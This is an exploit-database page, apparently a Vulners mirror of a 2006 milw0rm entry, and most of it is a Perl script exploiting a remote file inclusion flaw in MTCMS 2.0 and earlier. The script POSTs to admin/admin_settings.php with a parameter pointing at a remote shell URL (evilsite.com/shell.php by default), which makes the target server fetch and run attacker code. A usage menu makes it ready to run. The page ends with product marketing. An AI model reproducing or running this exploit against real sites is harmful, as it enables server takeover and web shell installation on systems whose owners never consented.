Lucene search
K

MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

MTCMS 2.0 Remote File Include Exploi

Code

                                                #!/usr/bin/perl
# +-------------------------------------------------------------------------------------------
# + MTCMS &#60;= 2.0 (admin/admin_settings.php) Remote File Include Exploit
# +-------------------------------------------------------------------------------------------
# + Affected Software .: MTCMS &#60;= 2.0
# + Vendor ............: http://www.mtcms.co.uk/
# + Download ..........: http://mtcms.co.uk/downloads/index.php?file=MTCMS-V2.rar
# + Description .......: &#34;MTCMS is a PHP/MySQL, Content Management System (CMS).&#34;
# + Class .............: Remote File Inclusion
# + Risk ..............: High (Remote File Execution)
# + Found By ..........: nuffsaid &#60;nuffsaid[at]newbslove.us&#62;
# + Requirements.......: register_globals = on
# +-------------------------------------------------------------------------------------------

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$remotefile = &#34;http://evilsite.com/shell.php&#34;;

main();

sub usage
{
    print &#34;\nMTCMS &#60;= 2.0 Remote File Include Exploit\n&#34;;
    print &#34;nuffsaid &#60;nuffsaid[at]newbslove.us&#62;\n&#34;;
    print &#34;-h, --host\ttarget host\t(example.com)\n&#34;;
    print &#34;-f, --file\tremote file\t(http://evilsite.com/shell.php)\n&#34;;
    print &#34;-d, --dir\tinstall dir\t(/mtcms)\n&#34;;
    exit;
}

sub main
{
    GetOptions (&#39;h|host=s&#39; =&#62; \$host,&#39;f|file=s&#39; =&#62; \$file,&#39;d|dir=s&#39; =&#62; \$dir);
    usage() unless $host;
    $remotefile = $file unless !$file;
    $url = uri_escape($remotefile);
    
    $sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;,PeerAddr=&#62;&#34;$host&#34;,PeerPort=&#62;&#34;80&#34;)
     or die &#34;\nconnect() failed.\n&#34;;
     
    print &#34;\nconnected to &#34;.$host.&#34;, sending data.\n&#34;;
    $sendurl = &#34;inst=true&ins_file=&#34;.$url.&#34;&#34;;
    $sendlen = length($sendurl);
    print $sock &#34;POST &#34;.$dir.&#34;/admin/admin_settings.php?b=addons&c=easy_add HTTP/1.1\n&#34;;
    print $sock &#34;Host: &#34;.$host.&#34;\n&#34;;
    print $sock &#34;Connection: close\n&#34;;
    print $sock &#34;Content-Type: application/x-www-form-urlencoded\n&#34;;
    print $sock &#34;Content-Length: &#34;.$sendlen.&#34;\n\n&#34;;
    print $sock $sendurl;
    print &#34;attempted to include remote file, server response:\n\n&#34;;
    while($recvd = &#60;$sock&#62;)
    {
        print &#34; &#34;.$recvd.&#34;&#34;;
    }
    exit;
}

# milw0rm.com [2006-12-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation